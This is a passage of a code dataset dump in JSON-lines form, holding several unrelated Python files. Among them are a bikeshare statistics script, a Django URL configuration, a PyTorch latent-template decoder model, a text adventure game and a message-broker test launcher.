rep_order.append(name.strip('#').strip('\\n').lower())\n\n    return np.array([columns[i] for i in range(1,len(columns))]).T,gene_order,rep_order\n","sub_path":"Code/load_RNAseq_counts.py","file_name":"load_RNAseq_counts.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"134947328","text":"\"\"\" US Bikeshare Project script for Udacity Nanodegree course\"\"\"\nimport time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n              'new york city': 'new_york_city.csv',\n              'washington': 'washington.csv' }\n\nMONTHS = ['january', 'february', 'march', 'april', 'may', 'june', 'all']\nDAYS = ['sunday', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'all']\n\ndef get_filters():\n    \"\"\"\n    Asks user to specify a city, month, and day to analyze.\n\n    Returns:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \"\"\"\n    print('Hello! Let\\'s explore some US bikeshare data!')\n    # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n\n    city = input(\"Please enter the city whose data you'd like to explore (Chicago, New York City, Washington): \").lower()\n    while city not in ['chicago', 'new york city', 'washington']:\n        city = input(\"Oops, that's not a valid city. Please enter the city whose data you'd like to explore (Chicago, New York, Washington): \").lower()\n\n    # TO DO: get user input for month (all, january, february, ... , june)\n    month = input(\"Please enter the month whose data you'd like to explore (January, February, March, April, May, June, or ALL): \").lower()\n    while month not in MONTHS:\n        month = input(\"Oops, that's not a valid month. Please enter the month whose data you'd like to explore (January, February, March, April, May, June, or ALL): \").lower()\n\n    # TO DO: get user input for day of week (all, monday, tuesday, ... sunday)\n    day = input(\"Please enter the day of the week whose data you'd like to explore (Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday, or ALL): \").lower()\n    while day not in DAYS:\n        day = input(\"Oops, that's not a valid month. Please enter the day of the week whose data you'd like to explore (Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday, or ALL): \").lower()\n\n    print(\"Thank you. Filtering data by: City: \",city.title(),\", Month(s): \", month.title(),\", Day(s): \", day.title(), \".\")\n    print('-'*40)\n    return city, month, day\n\n\ndef load_data(city, month, day):\n    \"\"\"\n    Loads data for the specified city and filters by month and day if applicable.\n\n    Args:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    Returns:\n        df - Pandas DataFrame containing city data filtered by month and day\n    \"\"\"\n\n    # Read in data file\n    df = pd.read_csv(CITY_DATA[city])\n\n    # Convert start time to timestamp\n    df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n    # Separate and filter by month\n    df['month'] = df['Start Time'].dt.month\n    if month != 'all':\n        # use the index of the months list to get the corresponding int\n        month = MONTHS.index(month) + 1\n        # filter by month to create the new dataframe\n        df = df[df['month'] == month]\n\n    # Separate and filter by day\n    df['day_of_week'] = df['Start Time'].dt.weekday_name\n    # filter by day of week if applicable\n    if day != 'all':\n        # filter by day of week to create the new dataframe\n        df = df[df['day_of_week'] == day.title()]\n\n    return df\n\n\ndef time_stats(df):\n    \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n    print('\\nCalculating The Most Frequent Times of Travel...\\n')\n    start_time = time.time()\n\n    # TO DO: display the most common month\n    popular_month = df['month'].mode()[0]\n    print(\"The most popular month for travel was: \" + MONTHS[popular_month-1].title())\n    # TO DO: display the most common day of week\n    popular_day = df['day_of_week'].mode()[0]\n    print(\"The most popular day for travel was: \" + popular_day)\n    # TO DO: display the most common start hour\n    df['hour'] = df['Start Time'].dt.hour\n    popular_hour = df['hour'].mode()[0]\n    print(\"The most popular hour to start travel was: \" + str(popular_hour))\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef station_stats(df):\n    \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n    print('\\nCalculating The Most Popular Stations and Trip...\\n')\n    start_time = time.time()\n\n    # TO DO: display most commonly used start station\n    popular_start = df['Start Station'].mode()[0]\n    print(\"The most popular start station was: \" + popular_start)\n\n    # TO DO: display most commonly used end station\n    popular_end = df['End Station'].mode()[0]\n    print(\"The most popular end station was: \" + popular_end)\n\n    # TO DO: display most frequent combination of start station and end station trip\n    combination = (df['Start Station'] + \" to \" + df['End Station']).mode()[0]\n    print(\"The most popular trip combination was: \" + str(combination))\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef duration_stats(df):\n    \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n    print('\\nCalculating Trip Duration...\\n')\n    start_time = time.time()\n\n    # TO DO: display total travel time\n    duration = df['Trip Duration'].sum()\n    print(\"The total travel time (in seconds) was: \" + str(duration))\n\n    # TO DO: display mean travel time\n    mean = df['Trip Duration'].mean()\n    print(\"The mean travel time (in seconds) was: \" + str(mean))\n\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef user_stats(df, city):\n    \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n    print('\\nCalculating User Stats...\\n')\n    start_time = time.time()\n\n    # TO DO: Display counts of user types\n    users = df['User Type'].value_counts()\n    print(\"The different users and their counts are: \\n\" + str(users))\n    print(\"\\n\")\n\n    # TO DO: Display counts of gender\n    if city == 'chicago.csv' or city == 'new_york_city.csv':\n        gender = df['Gender'].value_counts()\n        print(\"The different genders and their counts are: \\n\" + str(gender))\n        print(\"\\n\")\n\n    # TO DO: Display earliest, most recent, and most common year of birth\n        earliest_birth = int(df['Birth Year'].min())\n        recent_birth = int(df['Birth Year'].max())\n        common_birth = df['Birth Year'].mode()[0]\n        common_birth = int(common_birth)\n        print(\"The oldest user was born in: \" + str(earliest_birth))\n        print(\"The youngest user was born in: \" + str(recent_birth))\n        print(\"The most popular birth year among users was: \" + str(common_birth))\n\n    else:\n        print(\"Sorry, no gender or birth data available\\n\")\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef main():\n    while True:\n        city, month, day = get_filters()\n        df = load_data(city, month, day)\n\n        time_stats(df)\n        station_stats(df)\n        duration_stats(df)\n        user_stats(df,city)\n\n        restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n        if restart.lower() != 'yes':\n            break\n\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"bikeshare.py","file_name":"bikeshare.py","file_ext":"py","file_size_in_byte":7367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"248942437","text":"import pymorphy2\nfrom pymorphy2 import opencorpora_dict\n\nmorphoparser = pymorphy2.MorphAnalyzer()\n\n# literal_dict = set()\n#\n# # Выкинуть словарные\n# with open('zaliznyak.txt', 'r', encoding='utf-8') as zaliz:\n#     for line in zaliz.readlines():\n#         word = line.split(' ')[0].lower()\n#         literal_dict.add(word)\n# print(len(literal_dict))\n\nwith open('allNames.txt', 'w', encoding='utf-8') as result:\n    with open('Names.txt', 'r', encoding='utf-8') as bad_words:\n        for word in bad_words.readlines():\n                print(word.rstrip())\n            # for word in words.split():\n                # if word not in literal_dict:\n                analysis = morphoparser.parse(word.rstrip())[0]\n                forms = [ form.word for form in analysis.lexeme]\n                result.write(word.rstrip()+'\\t'+'\\t'.join(forms)+'\\n')","sub_path":"collect_dictionaries/all_forms_of_shit.py","file_name":"all_forms_of_shit.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"48068398","text":"class Wektor:\r\n\tdef __init__(self,x,y,z):\r\n\t\tself.x = x\r\n\t\tself.y = y\r\n\t\tself.z = z\r\n\tdef __add__(self,wektor):\r\n\t\tif isinstance(wektor,Wektor):\r\n\t\t\treturn Wektor(self.x + wektor.x, self.y + wektor.y, self.z + wektor.z)\r\n\t\t#return None\r\n\tdef __str__(self):\r\n\t\treturn \"({0}, {1}, {2})\".format(self.x,self.y,self.z)\r\n\tdef __iadd__(self,wektor):\r\n\t\tif isinstance(wektor, Wektor):\r\n\t\t\tself.x += wektor.x\r\n\t\t\tself.y += wektor.y\r\n\t\t\tself.z += wektor.z\r\n\t\treturn self\r\n\tdef __getitem__(self, i):\r\n\t\tif(i == 0): return self.x\r\n\t\telif(i == 1): return self.y\r\n\t\telif(i == 2): return self.z\r\n\t\t#else: return None\r\n\tdef __setitem__(self,i,wartosc):\r\n\t\tif(i == 0): self.x = wartosc\r\n\t\telif(i == 1): self.y = wartosc\r\n\t\telif(i == 2): self.z = wartosc\r\n\t\treturn self\r\n\tdef skalarny(self, wektor):\r\n\t\tif isinstance(wektor,Wektor):\r\n\t\t\treturn (self.x *wektor.x + self.y*wektor.y + self.z*wektor.z)\r\n\t\t#else: return None\r\n\tdef wektorowy(self, wektor):\r\n\t\tif isinstance(wektor,Wektor):\r\n\t\t\treturn Wektor(self.y*wektor.z-self.z*wektor.y,self.z*wektor.x-self.x*wektor.z, self.x*wektor.y-self.y*wektor.x)\r\n\t\t#else: return None\r\n\tdef mieszany(self, wektor1, wektor2):\r\n\t\tif isinstance(wektor1, Wektor) and isinstance(wektor2, Wektor):\r\n\t\t\treturn self.skalarny(wektor1.wektorowy(wektor2))\r\n\t\t#else: return None\r\n\r\n\r\n\r\n\r\n\r\na = Wektor(4,6,7)\r\nb = Wektor(1,1,1)\r\nc = Wektor(2,2,4)\r\nprint(a)\r\nprint(a+b)\r\na += b\r\nprint(a)\r\nprint(a[1])\r\na[1] = 2\r\nprint(a[1])\r\na = Wektor(3,4,5)\r\nb = Wektor(3,2,1)\r\nc = Wektor(5,2,6)\r\nprint(a)\r\nprint(a.skalarny(b))\r\nprint(a.wektorowy(b))\r\nprint(a.mieszany(b,c))\r\n\r\n","sub_path":"Lab09/z2.py","file_name":"z2.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"536236014","text":"\"\"\"WebTechnology_Course URL Configuration\r\n\r\nThe `urlpatterns` list routes URLs to views. For more information please see:\r\n    https://docs.djangoproject.com/en/1.11/topics/http/urls/\r\nExamples:\r\nFunction views\r\n    1. Add an import:  from my_app import views\r\n    2. Add a URL to urlpatterns:  url(r'^$', views.home, name='home')\r\nClass-based views\r\n    1. Add an import:  from other_app.views import Home\r\n    2. Add a URL to urlpatterns:  url(r'^$', Home.as_view(), name='home')\r\nIncluding another URLconf\r\n    1. Import the include() function: from django.conf.urls import url, include\r\n    2. Add a URL to urlpatterns:  url(r'^blog/', include('blog.urls'))\r\n\"\"\"\r\nfrom django.conf import settings\r\nfrom django.conf.urls import url\r\nfrom django.conf.urls.static import static\r\nfrom django.contrib import admin\r\nfrom . import views\r\n\r\n\r\nurlpatterns = [\r\n    url(r'^django-admin/', admin.site.urls),\r\n    url(r'^$', views.index),\r\n    url(r'^login/$', views.login),\r\n    url(r'^register/$', views.register),\r\n    url(r'^logout/$', views.logout),\r\n    url(r'^contact/$', views.contact),\r\n    url(r'^error/[a-zA-Z0-9]+$', views.error),\r\n    url(r'^author/[0-9]+$', views.author),\r\n    url(r'^author/$', views.author),\r\n    url(r'^genre/[0-9]+$', views.genre),\r\n    url(r'^genre/$', views.genre),\r\n    url(r'^book/[0-9]+$', views.book),\r\n    url(r'^book/[0-9]+/chapter/[0-9]+/read$', views.read),\r\n    url(r'^book/add$', views.add_book),\r\n    url(r'^book/[0-9]+/addchapter$', views.add_chapter),\r\n    url(r'^book/[0-9]+/chapter/[0-9]+/edit$', views.edit_chapter),\r\n    url(r'^book/[0-9]+/vote/[0-9]+$', views.vote)\r\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","sub_path":"WebTechnology_Course/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"233190552","text":"import numpy as np\nimport os, sys\nif os.path.exists('../../Python-Lib/'):\n\tsys.path.insert(1, '../../Python-Lib')\nimport tensorflow as tf\nimport math, time\nfrom BasicModel import *\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport RoadData\n\ndef getData(num):\n\taa, bb, cc = [], [], []\n\tfor i in range(num):\n\t\ta, b, c = RoadData.GetData((256, 256), 30, False)\n\t\taa.append(a)\n\t\tbb.append(b)\n\t\tcc.append(c)\n\treturn np.array(aa), np.array(bb), np.array(cc)\n\nimg = tf.placeholder(tf.float32, [None, 256, 256, 3])\ngt = tf.placeholder(tf.float32, [None, 32, 32, 3])\nmsk = tf.placeholder(tf.float32, [None, 32, 32])\n\nloss = Model('train', img, gt, msk)\npred = Model('test', img)\n\noptimizer = tf.train.AdamOptimizer(learning_rate = 1e-4)\ntrain = optimizer.minimize(loss[0] + loss[1])\nsaver = tf.train.Saver(max_to_keep = 1)\ninit = tf.global_variables_initializer()\n\n# Launch graph\nwith tf.Session() as sess:\n\t# Create loggers\n\ttrain_loss = open('./LossTrain.out', 'w')\n\tvalid_loss = open('./LossValid.out', 'w')\n\tif not os.path.exists('./Model/'):\n\t\tos.makedirs('./Model/')\n\tif not os.path.exists('./Result/'):\n\t\tos.makedirs('./Result/')\n\n\t# Restore weights\n\tif len(sys.argv) == 2 and sys.argv[1] != None:\n\t\tsaver.restore(sess, './Model/%s.ckpt' % sys.argv[1])\n\t\titer_obj = range(int(sys.argv[1]) + 1, 10000)\n\telse:\n\t\tsess.run(init)\n\t\titer_obj = range(10000)\n\n\t# Main loop\n\tfor i in iter_obj:\n\t\taa, bb, cc = getData(8)\n\t\tfeed_dict = {img: aa - 160, gt: bb, msk: cc}\n\n\t\t# Training and get result\n\t\tinit_time = time.time()\n\t\t_, (loss1, loss2) = sess.run([train, loss], feed_dict)\n\t\tcost_time = time.time() - init_time\n\t\ttrain_loss.write('Train Iter %d, %.6lf, %.6lf, %.3lfs\\n' % (i, loss1, loss2, cost_time))\n\t\ttrain_loss.flush()\n\n\t\t# Validation\n\t\tif i % 200 == 0:\n\t\t\taa, bb, cc = getData(8)\n\t\t\tfeed_dict = {img: aa - 160, gt: bb, msk: cc}\n\t\t\tinit_time = time.time()\n\t\t\tloss1, loss2 = sess.run(loss, feed_dict)\n\t\t\tcost_time = time.time() - init_time\n\t\t\tvalid_loss.write('Valid Iter %d, %.6lf, %.6lf, %.3lfs' % (i, loss1, loss2, cost_time))\n\t\t\tvalid_loss.flush()\n\t\t\tsaver.save(sess, './Model/%s.ckpt' % i)\n\n\t\t# Test\n\t\tif i % 200 == 0:\n\t\t\taa, bb, cc = getData(8)\n\t\t\tfeed_dict = {img: aa - 160}\n\t\t\tsss, lll = sess.run(pred, feed_dict)\n\t\t\tfor j in range(8):\n\t\t\t\tplt.figure()\n\t\t\t\tplt.imshow(aa[j])\n\t\t\t\tplt.axis('equal')\n\t\t\t\tplt.savefig('./Result/%d-%d.pdf' % (i, j))\n\t\t\t\tplt.figure()\n\t\t\t\tplt.imshow(sss[j, ..., 0])\n\t\t\t\tplt.axis('equal')\n\t\t\t\tplt.savefig('./Result/%d-%d-s.pdf' % (i, j))\n\t\t\t\tplt.figure()\n\t\t\t\tY, X = np.mgrid[0: 32, 0: 32]\n\t\t\t\tU, V = lll[j, :, :, 0], lll[j, :, :, 1]\n\t\t\t\tQ = plt.quiver(X, 32 - Y, U, -V)\n\t\t\t\tplt.axis('equal')\n\t\t\t\tplt.savefig('./Result/%d-%d-l.pdf' % (i, j))\n\n\n\n\n\n","sub_path":"RoadOld/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"193658956","text":"from room import Room\nfrom player import Player\nfrom item import Item\n# Declare all the rooms\n\nroom = {\n    'outside':\n    Room(\"Outside Cave Entrance\", \"North of you, the cave mount beckons\"),\n    'foyer':\n    Room(\n        \"Foyer\", \"\"\"Dim light filters in from the south. Dusty\npassages run north and east.\"\"\"),\n    'overlook':\n    Room(\n        \"Grand Overlook\", \"\"\"A steep cliff appears before you, falling\ninto the darkness. Ahead to the north, a light flickers in\nthe distance, but there is no way across the chasm.\"\"\"),\n    'narrow':\n    Room(\n        \"Narrow Passage\", \"\"\"The narrow passage bends here from west\nto north. The smell of gold permeates the air.\"\"\"),\n    'treasure':\n    Room(\n        \"Treasure Chamber\", \"\"\"You've found the long-lost treasure\nchamber! Sadly, it has already been completely emptied by\nearlier adventurers. The only exit is to the south.\"\"\"),\n}\n\n# Link rooms together\n\nroom['outside'].n_to = room['foyer']\nroom['outside'].s_to = None\nroom['outside'].e_to = None\nroom['outside'].w_to = None\n\nroom['foyer'].s_to = room['outside']\nroom['foyer'].n_to = room['overlook']\nroom['foyer'].e_to = room['narrow']\nroom['foyer'].w_to = None\nroom['foyer'].add_item(Item('sword', 'This is a fire sword!'))\nroom['foyer'].add_item(\n    Item('flower', 'This is a flower that gives you more life!'))\n\nroom['overlook'].s_to = room['foyer']\nroom['overlook'].n_to = None\nroom['overlook'].e_to = None\nroom['overlook'].w_to = None\nroom['overlook'].add_item(Item('rock', 'This is a magical rock!'))\n\nroom['narrow'].w_to = room['foyer']\nroom['narrow'].n_to = room['treasure']\nroom['narrow'].e_to = None\nroom['narrow'].s_to = None\nroom['narrow'].add_item(Item('key', 'This is a key to treasure!'))\n\nroom['treasure'].s_to = room['narrow']\nroom['treasure'].e_to = None\nroom['treasure'].w_to = None\nroom['treasure'].n_to = None\nroom['treasure'].add_item(Item('coins', 'These are rare ancient gold coins!'))\n\n#\n# Main\n#\n\n# Make a new player object that is currently in the 'outside' room.\nplayer = Player(\"Bhumi\", room['outside'])\n\n# Write a loop that:\nwhile True:\n    # * Prints the current room name and description\n    print(\n        f'You are currently in {player.current_room.name} \\nDescription: {player.current_room.description}'\n    )\n    player.current_room.print_items()\n\n    # Guide user to enter appropriate commands\n    print(\n        'Choose any command: n(north), s(south), e(east), w(west), i(inventory), q(quit), or take item(from room) or drop item(from your inventory)'\n    )\n\n    #  Waits for user input and decides what to do.\n    cmd = input(\"Enter --->\")\n    print(f'You entered {cmd}')\n\n    # Split the entered command and see if it has 1 or 2 words.\n    split_cmd = cmd.split()\n    if len(split_cmd) == 2:\n        if split_cmd[0] == 'take':\n            player.on_take(split_cmd[1])\n        elif split_cmd[0] == 'drop':\n            player.on_drop(split_cmd[1])\n\n    # If the user enters a cardinal direction, attempt to move to the room there.\n    # Print an error message if the movement isn't allowed.\n    if cmd == \"n\":\n        if player.current_room.n_to is not None:\n            player.current_room = player.current_room.n_to\n        else:\n            print(\"Movement into this direction is not allowed\")\n\n    elif cmd == \"s\":\n        if player.current_room.s_to is not None:\n            player.current_room = player.current_room.s_to\n        else:\n            print(\"Movement into this direction is not allowed\")\n\n    elif cmd == \"e\":\n        if player.current_room.e_to is not None:\n            player.current_room = player.current_room.e_to\n        else:\n            print(\"Movement into this direction is not allowed\")\n\n    elif cmd == \"w\":\n        if player.current_room.w_to is not None:\n            player.current_room = player.current_room.w_to\n        else:\n            print(\"Movement into this direction is not allowed\")\n\n    # Add the i and inventory commands that both show a list of items currently carried by the player.\n    elif cmd == \"i\" or cmd == \"inventory\":\n        player.print_inventory()\n\n    # If the user enters \"q\", quit the game.\n    elif cmd == \"q\":\n        print(\"Good bye!\")\n        break\n\n    else:\n        print(\"Invalid input! Try again!\")\n","sub_path":"src/adv.py","file_name":"adv.py","file_ext":"py","file_size_in_byte":4209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"203763737","text":"\nimport copy\n\nimport numpy as np \n\nimport torch \nimport torch.nn as nn\nimport torch.nn.init as init\nimport torch.nn.functional as F\n\nfrom torch.distributions import Categorical\n\nfrom .lstm_seq2seq.encoder import LSTMEncoder\nfrom .lstm_seq2seq.decoder import LSTMDecoder, Attention\nfrom .structure.linear_crf import LinearChainCRF\nfrom . import torch_model_utils as tmu\n\n\n\nclass AutoDecoder(nn.Module):\n  \"\"\"The latent template model, CRF version, table to text setting\"\"\"\n\n  def __init__(self, config, embeddings=None):\n    super(AutoDecoder, self).__init__()\n    self.config = config\n    self.device = config.device\n\n    self.z_lambd = config.z_lambd\n    self.z_beta = config.z_beta\n    self.z_gamma = config.z_gamma\n    self.z_overlap_logits = config.z_overlap_logits\n    self.latent_baseline = config.latent_baseline\n    self.num_sample_rl = config.num_sample_rl\n    self.gumbel_st = config.gumbel_st\n    self.post_process_sampling_enc = config.post_process_sampling_enc\n    self.use_copy = config.use_copy\n    self.num_sample = config.num_sample\n\n    self.pad_id = config.pad_id\n    self.start_id = config.start_id\n    self.end_id = config.end_id\n    self.seg_id = config.seg_id\n\n    self.vocab_size = config.vocab_size\n    self.latent_vocab_size = config.latent_vocab_size \n\n    self.lstm_layers = config.lstm_layers\n    self.embedding_size = config.embedding_size\n    self.state_size = config.state_size\n    self.max_dec_len = config.max_dec_len\n    self.max_bow_len = config.max_bow_len\n\n    self.embeddings = nn.Embedding(config.vocab_size, config.embedding_size)\n    if(embeddings is not None): \n      self.embeddings.weight.data.copy_(torch.from_numpy(embeddings))\n    self.z_embeddings = nn.Embedding(\n      config.latent_vocab_size, config.embedding_size)\n\n    self.q_encoder = LSTMEncoder(config)\n\n    self.z_crf_proj = nn.Linear(config.state_size, config.latent_vocab_size)\n    self.z_crf = LinearChainCRF(config)\n\n    self.p_dec_init_state_proj_h = nn.Linear(\n      config.embedding_size, config.lstm_layers * config.state_size)\n    self.p_dec_init_state_proj_c = nn.Linear(\n      config.embedding_size, config.lstm_layers * config.state_size)\n    self.p_decoder = LSTMDecoder(config)\n    self.p_copy_attn = Attention(\n      config.state_size, config.state_size, config.state_size)\n    self.p_copy_g = nn.Linear(config.state_size, 1)\n    self.p_switch_g = nn.Linear(config.state_size, 1)\n\n    config_ = copy.deepcopy(config)\n    config_.copy_decoder = True \n    self.post_encoder = LSTMEncoder(config_)\n    self.post_decoder = LSTMDecoder(config_)\n    return \n\n  def init_state(self, s):\n    batch_size = s.shape[0]\n    init_state_h = self.p_dec_init_state_proj_h(s)\n    init_state_h = init_state_h.view(\n      batch_size, self.lstm_layers, self.state_size)\n    init_state_h = init_state_h.transpose(0, 1).contiguous()\n    init_state_c = self.p_dec_init_state_proj_c(s)\n    init_state_c = init_state_c.view(\n      batch_size, self.lstm_layers, self.state_size)\n    init_state_c = init_state_c.transpose(0, 1).contiguous()\n    return (init_state_h, init_state_c)\n\n  def encode_kv(self, keys, vals):\n    \"\"\"Encode the key-valud table\"\"\"\n    kv_mask = keys != self.pad_id \n    keys_emb = self.embeddings(keys)\n    vals_emb = self.embeddings(vals)\n    kv_emb = keys_emb + vals_emb # [batch, mem_len, state_size]\n\n    kv_mask_ = kv_mask.type(torch.float)\n    kv_enc = kv_emb * kv_mask_.unsqueeze(-1)\n    # kv_enc.shape = [batch, embedding_size]\n    kv_enc = kv_enc.sum(dim=1) / kv_mask_.sum(dim=1, keepdim=True)\n    return kv_emb, kv_enc, kv_mask\n\n  def forward(self, keys, vals, \n    sentences, sent_lens, tau, x_lambd, post_process=False, debug=False):\n    \"\"\"Forward pass, first run the inference network, then run the decoder\n    \n    Args:\n      keys: torch.tensor(torch.long), size=[batch, max_mem_len]\n      vals: torch.tensor(torch.long), size=[batch, max_mem_len]\n      sentences: torch.tensor(torch.long), size=[batch, sent_len]\n      sent_lens: torch.tensor(torch.long), size=[batch]\n      tau: gumbel temperature, anneal from 1 to 0.01\n      x_lambd: decoder coefficient for the word in, controll how 'autogressive'\n       the model is, anneal from 0 to 1 \n\n    Returns:\n      loss: torch.float, the total loss \n      out_dict: dict(), output dict  \n      out_dict['inspect']: dict(), training process inspection\n    \"\"\"\n    out_dict = {}\n    inspect = {'latent_state_vocab_ent_avg': None, \n               'latent_state_vocab': None, \n               'latent_state_vocab_ent': None}\n    batch_size = sentences.size(0)\n    max_mem_len = keys.size(1)\n    loss = 0.\n\n    ## sentence encoding \n    sent_mask = sentences != self.pad_id\n    sentences_emb = self.embeddings(sentences)\n    # enc_outputs.shape = [batch, max_len, state_size]\n    enc_outputs, (enc_state_h, enc_state_c) =\\\n      self.q_encoder(sentences_emb, sent_lens)\n    # NOTE: max_len != sentences.size(1), max_len = max(sent_lens)\n    max_len = enc_outputs.size(1)\n    sent_mask = sent_mask[:, : max_len]\n    sentences = sentences[:, : max_len]\n\n    ## kv encoding \n    kv_emb, kv_enc, kv_mask = self.encode_kv(keys, vals)\n    \n    ## latent template - change to meaningless template\n    if(self.latent_baseline == 'constant'):\n      z_sample_ids = torch.zeros_like(sentences) + 1\n    elif(self.latent_baseline == 'random'):\n      z_sample_ids = torch.randint_like(sentences, \n      low=0, high=self.latent_vocab_size)\n    else:\n      raise NotImplementedError(\n        'latent baseline %s not implemented' % self.latent_baseline)\n    z_sample_emb = self.z_embeddings(z_sample_ids)\n    z_sample_enc = z_sample_emb.sum(dim=1)\n\n    ## decoding\n    p_log_prob, p_log_prob_casewise, inspect_ = self.decode_train(\n      z_sample_ids, z_sample_emb, z_sample_enc, sent_lens,\n      keys, kv_emb, kv_enc, kv_mask, sentences, x_lambd)\n\n    inspect.update(inspect_)\n    out_dict['p_log_prob'] = tmu.to_np(p_log_prob)\n    # out_dict['neg_ppl'] = tmu.to_np(-ppl)\n    loss += p_log_prob\n\n    ## turn maximization to minimization\n    loss = -loss\n\n    out_dict['loss'] = tmu.to_np(loss)\n    out_dict['inspect'] = inspect\n    out_dict.update(inspect)\n    return loss, out_dict\n\n  def decode_train(self, \n    z_sample_ids, z_sample_emb, z_sample_enc, z_lens,\n    mem, mem_emb, mem_enc, mem_mask, sentences, x_lambd):\n    \"\"\"Train the decoder, non-adaptive decoding, decoder can be auto-regressive\n    or not\"\"\"\n    inspect = {}\n\n    device = z_sample_ids.device\n    state_size = self.state_size\n    batch_size = sentences.size(0)\n\n    dec_inputs = z_sample_emb\n    dec_targets = sentences\n\n    max_len = dec_inputs.size(1)\n\n    dec_cell = self.p_decoder\n    state = self.init_state(mem_enc + z_sample_enc)\n    # state = self.init_state(mem_enc)\n    dec_inputs = dec_inputs.transpose(1, 0) \n    dec_targets = dec_targets.transpose(1, 0)\n    log_prob = []\n    dec_outputs = []\n    latent_state_vocab = torch.zeros(\n      self.latent_vocab_size, self.vocab_size).to(device)\n    z_sample_ids = z_sample_ids.transpose(1, 0)\n\n    for i in range(max_len): \n      # word loss \n      dec_out, state = dec_cell(\n        dec_inputs[i], state, mem_emb, mem_mask)\n      dec_out = dec_out[0]\n      lm_logits = dec_cell.output_proj(dec_out)\n      lm_prob = F.softmax(lm_logits, dim=-1)\n      if(self.use_copy):\n        _, copy_dist = self.p_copy_attn(dec_out, mem_emb, mem_mask)\n        copy_prob = tmu.batch_index_put(copy_dist, mem, self.vocab_size)\n        copy_g = torch.sigmoid(self.p_copy_g(dec_out))\n        out_prob = (1 - copy_g) * lm_prob + copy_g * copy_prob\n        logits = out_prob.log()\n        log_prob_i = -F.cross_entropy(logits, dec_targets[i], reduction='none')\n      else: \n        logits = lm_logits\n        out_prob = lm_prob\n        log_prob_i = -F.cross_entropy(logits, dec_targets[i], reduction='none')\n      \n      log_prob.append(log_prob_i) \n      dec_outputs.append(logits.argmax(dim=-1))\n\n      latent_state_vocab[z_sample_ids[i]] += out_prob.detach()\n\n    log_prob = torch.stack(log_prob) # [max_len, batch]\n    log_prob_ = log_prob.clone()\n    mask = dec_targets != self.pad_id # [max_len, batch]\n    log_prob.masked_fill_(mask == 0, 0.) \n    log_prob = log_prob.sum() / mask.sum()\n    log_prob_casewise = log_prob.sum(dim=0) / mask.sum(dim=0)\n    # ppl = (-log_prob).detach().exp()\n\n    dec_outputs = torch.stack(dec_outputs).transpose(0, 1)\n    # inspect['train_predictions_stepwise'] = tmu.to_np(dec_outputs)\n    latent_state_vocab_ent =\\\n      -latent_state_vocab * torch.log(latent_state_vocab + 1e-10)\n    latent_state_vocab_ent = latent_state_vocab_ent.sum(dim=-1)\n    inspect['latent_state_vocab_ent'] =\\\n      latent_state_vocab_ent.detach().cpu().numpy()\n    return log_prob, log_prob_casewise, inspect\n","sub_path":"src/modeling/autodecoder.py","file_name":"autodecoder.py","file_ext":"py","file_size_in_byte":8698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"82799767","text":"import sys\nimport time\nsys.path.append('../')\nimport subprocess\nimport qweather\nimport cProfile, pstats, io\npr = cProfile.Profile()\n\n\nprocBroker = subprocess.Popen(['python', 'TestBroker.py','--verbose','--debug'],creationflags=subprocess.CREATE_NEW_CONSOLE)\ntime.sleep(1)\nprocServer1 = subprocess.Popen(['python', 'TestServer.py','--verbose','--debug'],creationflags=subprocess.CREATE_NEW_CONSOLE)\ntime.sleep(1)\nprocServer2 = subprocess.Popen(['python', 'TestServer2.py'],creationflags=subprocess.CREATE_NEW_CONSOLE)\ntime.sleep(2)\nbrokerconn = \"tcp://localhost:5559\"\nclient = qweather.QWeatherClient(brokerconn,'testclient')\nT1 = client.TestServer\nclient.ping_broker()\nprint(client)\ntime.sleep(2)\nclient.send_message([b'',b'#',b'P'])\nprint(client)\ninput('Press enter to kill')\nprocBroker.kill()\nprobServer1.kill()\nprobServer2.kill()\n#s = io.StringIO()\n#sortby = 'cumulative'\n#ps = pstats.Stats(pr, 